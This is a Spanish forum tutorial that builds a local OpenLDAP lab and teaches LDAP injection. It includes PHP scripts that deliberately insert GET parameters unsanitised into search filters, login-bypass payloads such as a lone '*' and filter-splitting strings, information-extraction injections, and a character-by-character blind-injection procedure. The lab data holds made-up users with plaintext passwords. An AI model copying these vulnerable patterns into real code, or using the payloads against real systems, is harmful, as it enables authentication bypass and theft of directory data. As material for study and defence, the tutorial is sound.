   Una vez conectados y autenticados en el servidor podremos proceder a realizar consultas y búsquedas dentro de los árboles. La función base para realizar una búsqueda es ldap_search() y requiere como parámetros mínimos un árbol donde buscar y un filtro (en secciones posteriores nos centraremos en esto). El ejemplo más sencillo es tratar de localizar en qué entradas se encuentra un determinado atributo. Una vez que se ha realizado la búsqueda pasamos el resultado a la función ldap_get_entries() que nos devolverá un array asociativo donde podremos trabajar con los atributos uno por uno, así como conocer el número de entradas.  En el ejercicio nº2 podemos ver cómo mostrar qué entradas tienen un determinado "sn":

Código: (PHP) [Seleccionar]
<?phpecho "<h1>Ejercicio nº2</h1>";$usuario "cn=Manager,dc=pruebas,dc=com";$pass "secret";


$ds ldap_connect("127.0.0.1");ldap_set_option($dsLDAP_OPT_PROTOCOL_VERSION3);


if (
$ds) {

  
$a=ldap_bind($ds$usuario$pass);

if (
$a) {
//Realizamos la búsqueda, en este caso buscamos las entradas que tengan como valor de sn "Gato"
  
$sr ldap_search($ds"dc=pruebas, dc=com""sn=Gato");
  
//Sacamos un array asociativo con los datos
  
$info ldap_get_entries($ds$sr);//Mostramos el número de entradas que contienen un sn cuyo valor es "Gato"
    
echo "Devueltos datos de ".$info["count"]." entradas:<p>";//Mediante un bucle for mostramos el DN y el SN de la entradafor ($i=0$i<$info["count"]; $i++) {
        echo 
"Nombre de la entrada: "$info[$i]["dn"] ."<br>";
        echo 
"sn: "$info[$i]["sn"][0] ."<p>";
       
    }


} else {
  echo 
"No autenticado";

}




}
ldap_close($ds);
?>

    Como únicamente hay una entrada que coincida con el criterio de búsqueda, únicamente se nos mostrará ésta:

Citar
Ejercicio nº2
Devueltos datos de 1 entradas:

Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com
sn: Gato

    En el ejercicio nº3 intentaremos averiguar qué personas usan correos electrónicos del mismo dominio y además cuales son estos correos, usando para ello el comodin * en el filtro de búsqueda:

Código: (PHP) [Seleccionar]
<?phpecho "<h1>Ejercicio nº3</h1>";$usuario "cn=Manager,dc=pruebas,dc=com";$pass "secret";


$ds ldap_connect("127.0.0.1");ldap_set_option($dsLDAP_OPT_PROTOCOL_VERSION3);


if (
$ds) {

  
$a=ldap_bind($ds$usuario$pass);

if (
$a) {


  
$sr ldap_search($ds"dc=pruebas, dc=com""mail=*@portaljuanker.info");
 
 
  
$info ldap_get_entries($ds$sr);

    echo 
"Devueltos datos de ".$info["count"]." entradas:<p>";
for (
$i=0$i<$info["count"]; $i++) {
        echo 
"Nombre de la entrada: "$info[$i]["dn"] ."<br>";
        echo 
"sn: "$info[$i]["sn"][0] ."<br>";
        echo 
"Mail:".$info[$i]["mail"][0]."<p>";
       
    }


} else {
  echo 
"No autenticado";

}




}
ldap_close($ds);
?>

   Son 3 las entradas que tienen un correo en ese dominio, y además podremos saber cuales son esos correos  :laugh: :

Citar
Ejercicio nº3
Devueltos datos de 3 entradas:

Nombre de la entrada: cn=Testcell,dc=pruebas,dc=com
sn: Celula
Mail:x-cell@portaljuanker.info

Nombre de la entrada: cn=TestDark,dc=pruebas,dc=com
sn: Gato
Mail:Darkgatox@portaljuanker.info

Nombre de la entrada: cn=TestSeta,dc=pruebas,dc=com
sn: Gay
Mail:seth@portaljuanker.info


0x04 Filtros de búsquedas

      Los filtros de búsqueda que se aplican en una petición al servidor LDAP se colocan entre ( ), uno por cada filtro. Las equivalencias pueden ser =, =~, >=, <=, y los operadores lógicos & (AND), ! (NOT) y | (OR).  Los operadores lógicos se colocan delante de los filtros a los que quiere aplicarse. Por ejemplo, si quisieramos buscar aquellas entradas cuyo e-mail es @portaljuanker.net y cuyo nombre sea Ramiro usaríamos el siguiente filtro:

(&(mail= *@portalhacker.net)(givenName=Ramiro))
          Cuando utilizamos el operador AND estamos indicando que las condiciones del filtro siempre se deben de cumplir (justo lo contrario de NOT), sin embargo cuando hacemos uso de OR, se buscaran aquellas entradas que cumplan al menos una de las condiciones. Si queremos saber, por ejemplo, quienes son Administradores o colaboradores, podríamos realizar la siguiente búsqueda:

     (|(description=admin*)(description=colab*))

     Los filtros tienen prioridad desde dentro hacia fuera, y desde la izquierda hacia la derecha. Si quisieramos buscar dentro de aquellos usuarios que son admin y colaboradores cuales no tienen su correo @portaljuanker.net, el filtro sería:

    (|((description=admin*)(description=colab*))(!(mail=*@portaljuanker.net))

   Una vez entendido como trabajar con los filtros, deberías de practicar imaginando cualquier situación y tratando de crear un filtrado que se adapte.

0x05 Bypassing Logins

   Dice Seth que quiere empezar a romper cosas, asi que nos pondremos a ello. Como no sabía por donde empezar, creo que lo mejor será seguir el orden lógico que aparece en los manuales de SQL injections: siempre empiezan con el bypass de login vía ' OR 1=1 --. Algo similar es lo que vamos a hacer aquí, aunque primero vamos a estudiar un caso mucho más simple.  Para poder continuar realizando los ejercicios debeis de borrar todo el contenido de la carpeta ldifdata,y editar el contenido del archivo pruebas.ldif que hicimos al inicio, susituyendo todo por esto:

Citar
dn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Web
dc: pruebas


dn: dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Usuarios
dc: usuarios


dn: uid=seth,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Seth
sn: Gaylord
givenname: Seta
uid: seth
ou: people
description: Moderador de Seguridad Web
telephonenumber: 44433322
mail: seth@portalhacker.net
userpassword: RGBlaChupaDeCanto


dn: uid=rgb,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Rgb
sn: Dictator
givenname: Colorines
uid: rgb
ou: people
description: Administrador PortalHacker
telephonenumber: 1234123412
mail: rgbmola@portalhacker.net
userpassword: SethEsGay


dn: uid=waeswaes,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: WaesWaes
sn: Javadicted
givenname: Gmod
uid: waes
ou: people
description: Gmod de PortalHacker
telephonenumber: 696969696
mail: waesx2@portalhacker.net
userpassword: 0verl0ad

  El escenario donde vamos a movernos es una aplicación web que para comprobar si ese usuario y contraseña son correctos no utiliza una base de datos SQL clásica, sino que emplea un servidor LDAP. Para ello la aplicación se conectará al servidor empleando un usuario y contraseña, y realizará una búsqueda para encontrar si hay correspondecia con el usuario y la contrseña. De ser correcto el login la aplicación debería de abrir un sesión web a ese usuario y podrá disfrutar de una navegación con su usuario (esta parte me la voy a salta, nos vamos a centrar en que el login sea TRUE o FALSE, lo que haga después de eso no nos incumbe

./0x01 Sin filtrar asteriscos

      Este es el escenario más sencillo que vamos a encontrar, y es aquél en el que no se filtra ni los asteriscos. No tiene ningún misterio, aun así os dejo un pequeño ejemplo de un login con esta carencia. Los parámetros en vez de enviarlos por una petición POST lo mando por una GET para poder editarlos más fácilmente. Aquí el código:


Código: (PHP) [Seleccionar]
<?php
echo "<h1>Ejercicio nº4 - Bypass login con asteriscos</h1>";
$usuario "cn=Manager,dc=pruebas,dc=com";$pass "secret";
$ds ldap_connect("127.0.0.1");ldap_set_option($dsLDAP_OPT_PROTOCOL_VERSION3);

if (
$ds){

  
$a=ldap_bind($ds$usuario$pass);

  if (
$a){

   
$buscar "(&(uid=".$_GET['uid'].")(userPassword=".$_GET['p']."))";
   echo 
$buscar."<p>";
   
$sr ldap_search($ds"dc=pruebas, dc=com""$buscar");
   
$info ldap_get_entries($ds$sr);
  
     if (
$info["count"] == 1){

        echo 
'<font color="green">¡Has iniciado sesión correctamente!</font><p>';

        for (
$i=0$i<$info["count"]; $i++) {
          echo 
"Nombre de la entrada: "$info[$i]["dn"] ."<br>";
           echo 
"Apellidos: "$info[$i]["sn"][0] ."<br>";
           echo 
"Apodo: "$info[$i]["givenname"][0] ."<br>";
           echo 
"Rango: "$info[$i]["description"][0] ."<br>";
           echo 
"Telefono: "$info[$i]["telephonenumber"][0] ."<br>";
           echo 
"Mail:".$info[$i]["mail"][0]."<p>";
       
          }

             } else {

        echo 
'<font color="red">¡ERROR! El usuario o contraseña son incorrectos</font>';

     }
 } else {

  echo 
"No autenticado";
  }
}
ldap_close($ds);
?>

   Si probamos a pasarle un par de datos verdaderos (index.php?uid=seth&p=RGBlaChupaDeCanto el login será válido y podremos ver un mensaje indicándonoslo. La consulta de búsqueda que se ha enviado ha sido (&(uid=seth)(userPassword=RGBlaChupaDeCanto)), y nos ha devuelto una entrada con la coincidencia. Si probásemos con un usuario inválido, o una contraseña inválida no podríamos pasar el login.

    Para poder bypassear esta restricción símplemente tendríamos que conocer el nombre de un usuario y como password colocar un "*", quedando el filtro de búsqueda constituido de la siguiente la forma (&(uid=seth)(userPassword=*)). Como vimos anteriormente es un carácter comodín que nos permitirá cumplir siempre la condición inpuesta por el IF (siempre coincidirá el uid "seth" con "cualquier password"). 


./0x02 Filtrando asteriscos

   Este caso es el más común. El truco del asterisco es demasiado obvio para un login (que no para una búsqueda normal) y casi cualquier persona encargada de trabajar con LDAP será consciente de que debe de eviar los comodines, lo que es menos probable es que caiga en la cuenta de que no es la única forma de realizar un bypass. ¡Nos podrán quitar los asteriscos, pero jamás nos quitarán el bypass!
   
   Bien para este ejercicio símplemente añadir una función para eliminar "*" de las variables que se introducen, (por ejemplo podeis añadir $buscar = str_replace("*", "", $buscar);) justo después de la línea 17 (es decir, donde setea $buscar con la consulta). Si todo va bien al intentar utilizar un comodin para poder loguearnos como el usuario nos debería de soltar un error (  por ejemplo /index.php?uid=rgb&p=*). Podemos comprobar que la consulta queda corrompida, (&(uid=rgb)(userPassword=)), por lo que siempre será FALSE.

  Podemos aplicar el siguiente truco (extraído de una presentación de Chema Alonso) para que, aun usando una contraseña falsa, el login siga siendo positivo. La idea es que se forme el siguiente filtro: (&(uid=rgb)(!(&(|)(userPassword=adfadfad))))  . He intentado señalizar con colores el alcance de cada filtro, aunque creo que así sigue siendo un pequeño lío, así que voy a proceder a separar condición por condición, aplicando el criterio que comenté en el apartado destinado a filtros:

(&(uid=rgb)(!(&(|)(userPassword=adfadfad))))   
&(uid=rgb)

(|)

&(|)(userPassword=adfadfad))
(!(&(|)(userPassword=adfadfad)))
 


    Esta idea es buena, pero es bastante complicada. Por mi parte yo he diseñado mi propio truco, basado en que en un filtro de búsquedas se pueden utilizar dos veces el mismo atributo y el mismo valor. Si recordamos la comprobación de si el user y el password coincide se lleva acabo a través de un operador AND, que evalúa dos condiciones (user y password).  Lo que vamos a hacer es desdoblar la segunda condición y hacer que se transforme en una operación OR entre password y de nuevo el usuario. Es decir, debe quedar algo así:  


     (&(uid=seth)(|(uid=seth)(userPassword=adfadfad)))

   Que se leería como "Si uid= Seth y además, uid=Seth o userPassword=adfadfad entonces es válido". Como uid=seth existe, la resolución del OR va a ser TRUE, es decir que pese a que no tenga ese userPassword como sí cumple la otra condición el filtro equivaldría a  (&(uid=seth)(uid=seth)) , que siempre es verdad. Para que todo ello suceda la inyección deberá quedar como/index.php?uid=seth)(|(uid=seth&p=adfadfad). Al filtro le estaremos añadiendo los siguientes caracteres:

(&(uid=seth)(|(uid=seth)(userPassword=adfadfad)))


  Con esto creo que queda ya zanjado el tema de cómo bypassear sistemas de logueo basados en búsquedas LDAP. Siempre la base va a ser la misma, lo único que puede variar es la forma en que realice su búsqueda, por lo que tendás que adaptaros a la circunstancia y crear una inyección para esa aplicación en concreto. Otra cosa que quiero que tengais en mente es que no siempre que se autentica vía LDAP se emplea este sistema, existe una forma más segura que es en vez de usar un juego usuario/contraseña situado en la aplicación para bindear con el servidor, lo que existen son distintas usuarios/contraseña que corresponde con cada usuario. De esta forma la comprobación se realiza intentando autenticarse con los datos que indiquemos, si no lo consigue detectará que son incorrectos los datos. 


      En este último caso también pueden aparecer fallos a la hora de programar la aplicación web que nos permitan entrar al sistema como usuarios anónimos. No comento este caso porque no tiene relación con las inyecciones LDAP, sino que se trata (en el caso más común) de no asegurarnos que se han seteado las variables password y usuario a la de usar la función de bindeo.


0x06 Extracción de información 

  En este bloque vamos a centrarnos en cómo extraer información de las aplicaciones que actúan como buscadores de los servidores LDAP, es decir, que nos permiten buscar cierta información dentro de unos límites. Lo que vamos a hacer nosotros es saltarnos esos límites. Al igual que en el bloque anterior borrad el contenido de ldifdata y editad vuestro archivo pruebas.ldif con el siguiente contenido:

Código: [Seleccionar]
dn: dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Web
dc: pruebas


dn: dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Usuarios
dc: usuarios


dn: dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Administradores
dc: admin



dn: dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Moderadores Globales
dc: gmod


dn: dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: dcObject
objectclass: organization
o: Moderadores
dc: mod


dn: uid=vart,dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Vart
sn: Vartolin
givenname: Vartola
uid: vart
ou: people
description: admin
telephonenumber: 44433322
mail: vart@portaljuanker.net
userpassword: nananaLIDER


dn: uid=rgb,dc=admin,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Romario
sn: Gonzalez Sinde
givenname: Colorines
uid: rgb
ou: people
description: admin
telephonenumber: 4455522
mail: rgb@portaljuanker.net
userpassword: SethEsGay


dn: uid=rcart,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Rocarto
sn: Linuxin
givenname: Rcarteles
uid: rcart
ou: people
description: gmod
telephonenumber: 65423452345
mail: rcart@portaljuanker.net
userpassword: NadieMeHaceCaso


dn: uid=Waes,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Waltermelon
sn: Galindo Perez
givenname: Waeswaes
uid: waes
ou: people
description: gmod
telephonenumber: 45234523452
mail: waesx2@portaljuanker.net
userpassword: SecretoDeSumario


dn: uid=seth,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Rafael
sn: Jimenez Losantos
givenname: Seta
uid: seth
ou: people
description: mod
telephonenumber: 654243555
mail: seth@portaljuanker.net
userpassword: FreePornHere


dn: uid=cemasmas,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Robustiano
sn: Perez Perez
givenname: C++
uid: cemasmas
ou: people
description: mod
telephonenumber: 64534654663555
mail: cemasmas@portaljuanker.net
userpassword: ILOVECPH


dn: uid=aetsu,dc=mod,dc=gmod,dc=usuarios,dc=pruebas,dc=com
objectclass: top
objectclass: person
objectclass: organizationalPerson
objectclass: inetOrgPerson
cn: Vidal
sn: Fernandez Carazzo
givenname: Aetsu
uid: aetsu
ou: people
description: mod
telephonenumber: 44455566
mail: aetsu@portaljuanker.net
userpassword: WifiPowah


 La estructura de los árboles que hemos creado es la siguiente:



com
   |_pruebas
           |_usuarios
                    |_admin
                    |         |_vart
                    |         |_rgb
                    |
                    |_gmod
                           |_rcart
                           |_waes
                           |_mod
                                  |_seth
                                  |_cemasmas
                                  |_aetsu
                             


    Imaginemos una aplicación web ficticia dentro del foro que permitiese a los moderadores globales acceder a la información personal de los moderadores, pero no a la de aquellos usuarios que poseen un rango superior (admins) o igual (otros gmods). Quizás estoy usando demasiado el ejemplo de los datos de personas, pero esto mismo se puede encontrar aplicado a busquedas en proyectos, ordenadores conectados a una red, impresoras, etc. Siempre acabo hablando de personas porque es la forma, creo, que permite captar los conceptos más fácilmente. Estas técnicas que aquí estoy exponiendo son extrapolables a otros escenarios más suculentos..

   El criterio de esta aplicación ficticia va a ser realizar una búsqueda donde se filtre aquellos resultados a partir del nombre o del apodo de un usuario, y que tengan como descripción el rango de moderador. El filtro quedaría como (&(uid=¿usuario?)(description=mod)(givenname=¿apodo?))

Código: (PHP) [Seleccionar]
<?php
 
echo "<h1>Ejercicio nº5 - Extracción de información</h1>";
 
$usuario "cn=Manager,dc=pruebas,dc=com";$pass "secret";
 
$ds ldap_connect("127.0.0.1");ldap_set_option($dsLDAP_OPT_PROTOCOL_VERSION3);

if (
$ds){

  
$a=ldap_bind($ds$usuario$pass);

  if (
$a){

   
$buscar "(&(uid=".$_GET['q'].")(description=mod))";
   echo 
$buscar."<p>";
   
$sr ldap_search($ds"dc=pruebas, dc=com""$buscar");
   
$info ldap_get_entries($ds$sr);
  

        for (
$i=0$i<$info["count"]; $i++) {
          echo 
"Nombre de la entrada: "$info[$i]["dn"] ."<br>";
           echo 
"Apellidos: "$info[$i]["sn"][0] ."<br>";
           echo 
"Apodo: "$info[$i]["givenname"][0] ."<br>";
           echo 
"Rango: "$info[$i]["description"][0] ."<br>";
           echo 
"Telefono: "$info[$i]["telephonenumber"][0] ."<br>";
           echo 
"Mail:".$info[$i]["mail"][0]."<p>";
      
  

     }
 } else {

  echo 
"No autenticado";
  }
}
ldap_close($ds);
 
?>

   Quizás habr observado que el filtro tiene un orden raro. Esto es debido a que openLDAP tiene la particularidad de que que el filtro tiene que casar perfectamente, por lo que para poder extraer información se debe de poder inyectar en un campo anterior y otro posterior a la condición que se quiere evitar. En cierto modo esto lo hace más seguro, puesto que si sólo puedes inyectar en un campo es poco probable que la inyección funcione. En el resto de servidores LDAP esto no pasa, si se consiguen crear dos filtros, el segundo se ignora, por lo que es más sencillo inyectar. Este caso que es el más común lo veremos luego, aunque sin demos [podeis hacer vuestra propia demo si os instalais otro servidor LDAP]. 

  En este ejemplo que he visto, para poder ver esa información a la que no tenemos acceso alguno, debemos de utilizar una técnica similar a la empleada para el bypass del login. Debemos de aislar el filtro problemático del resto, incluyendolo dentro de una operación lógica | donde al menos una de las condiciones es verdadera. Como desconocemos, a nivel de usuario, cuales son los atributos por los que se realiza la búsqueda utilizaremos ObjectClass=* para que el ")" que se queda suelto tenga lógica. Por lo tanto una posible forma de escalar privilegios y leer esa información a la que no tenemos acceso podría ser:

index.php?q=vart)(|(ObjectClass=*&g=*)

   La búsqueda que realizaría la aplicación quedaría como (&(uid=vart)(|(ObjectClass=*)(description=mod)(givenname=*))) y tendría toda la lógica del mundo. Ahora bien, como he dicho hace un instante únicamente en OpenLDAP es necesario que todo el filtro sea lógico, por lo que siempre necesitaremos dos campos para poder manipular correctamente la petición. Sin embargo en el resto (o en la mayoría) de otros servidores LDAP no existe este problema, puesto que en el caso de que existan dos filtros diferentes en la misma petición sólo se realizará la búsqueda teniendo en cuenta el primer filtro mientras que el resto serán anulados.

   Un ejemplo de esto que acabo de comentar puede ser una aplicación similar a la que propuse anteriormente, teniendo como filtro (&(uid=/Parametro1/)(Description=mod)). Para dividirlo en dos filtros, y que el primero mantenga una condición TRUE podríamos inyectar un vart)(ObjectClass=*))(|(ObjectClass=*, teniendo como resultado: (&(uid=vart)(ObjectClass=*))(|(ObjectClass=*)(Description=mod)).  Mediante éste método hemos conseguido escindir el filtro original en dos partes, de las cuales únicamente la primera [(&(uid=vart)(ObjectClass=*))] será tomada en cuenta, mientras que la segunda (donde teníamos la condición problema) es ignorada


0x07 Blind LDAP Injection 

   Al igual que ocurre con las inyecciones SQL, podemos encontrarnos con escenarios donde el filtro de búsqueda que se realiza, o los atributos a los que se aplica, los desconocemos totalmente porque la respuesta que obtenemos desde la aplicación web está acotada entre dos opciones: una cuando todo sea correcto (TRUE) y otra cuando no lo sea (FALSE), y no nos muestra los resultados de la consulta al servidor LDAP. Estaríamos ante un caso de "Blind LDAP Injection", que como ocurre en otros ataques también a ciegas tendremos una respuesta de la web diferente en función de si la sentencia ha sido válida o no, y deberemos de ir deduciendo paulatinamente los datos que nos interesan.


   Imaginemos por ejemplo una web donde tenemos un sistema para comprobar si un nick ha sido registrado previamente por otro usuario. El nick que queremos comprobar es enviado en una petición GET (a través de una URL tipo www.webfake.com/checking.php?query=nick) a un PHP que incluirá nuestro nick en una consulta de búsqueda a un árbol LDAP. Esta consulta consiste en  (&(cn=nick)(ou=web)). Si el resultado de esta consulta fuese TRUE, es decir devuelve alguna entrada, significaría que ese usuario ya existe y la aplicación web mostraría el mensaje "Nick Registrado, pruebe otro". En el caso contrario, cuando la consulta fuese infructuosa, aparecería el mensaje "Nick libre".


   El escenario ya está montado, y tiene todos los ingredientes de un entorno a ciegas: 2 posibles respuestas ("Nick registrado" cuando la consulta devuelva algún valor; "Nick libre" cuando la consulta no devuelva nada) y un campo donde inyectar.  Lo primero sería intentar averiguar cómo escapar de la segunda condición del filtrado para que en realidad se busque lo que nosotros queremos (en caso de OpenLDAP esto no se puede realizar como ya vimos más arriba por la necesidad de dos campos en los que inyectar), asi que procederíamos a trabajar con "*", ObjectClass (es lo más genérico) y paréntesis "( )" hasta que se nos mostrase el mensaje "Nick registrado":

(&(cn=*)( )(ou=web))    => Nick Libre
(&(cn=*)(ObjectClass=* )(ou=web))    => Nick registrado

   De esta forma ya hemos detectado que el filtro debe de ser algo tipo: (&(Atributo1=[Nick que insertamos])(atributo2=Loquesea)(...)). Obsérvese que no indico qué numero de filtros se aplican, ni a qué atributos porque no lo conocemos. El siguiente paso lógico sería liberar las ataduras que nos imponen el resto de filtros que nosotros no podemos manipular, para ello emplearíamos el truco visto más arriba: escindir el filtro en dos, para que el segundo sea ignorado:

(&(cn=*)(ObjectClass=*))(&(ObjectClass=*)(ou=web))   => Nick Registrado

   Una vez que ya hemos "bypasseado" aquello que nos estorbaba podremos ir deduciendo información interesante. Por ejemplo, podríamos realizar una consulta para averiguar qué Organizational units existen a través de la reducción de caracteres vía un pequeño bruteforce dirigido:

/checking.php?query=*)(ou=a*))(&(ObjectClass=*  => Nick Libre
/checking.php?query=*)(ou=b*))(&(ObjectClass=*  => Nick Libre
....
/checking.php?query=*)(ou=f*))(&(ObjectClass=*   =>Nick registrado


  Ya sabemos el primer carácter de un subdirectorio, ahora a por el segundo:

/checking.php?query=*)(ou=fa*))(&(ObjectClass=*  => Nick Libre
/checking.php?query=*)(ou=fb*))(&(ObjectClass=*  => Nick Libre
...
/checking.php?query=*)(ou=ft*))(&(ObjectClass=*  => Nick registrado

  Y así sucesivamente, hasta que averiguásemos el nombre concreto (en este caso era ftp_users), con cada carácter. Para ello podemos elaborar un exploit que nos agilice el proceso.


By LARCOWBOY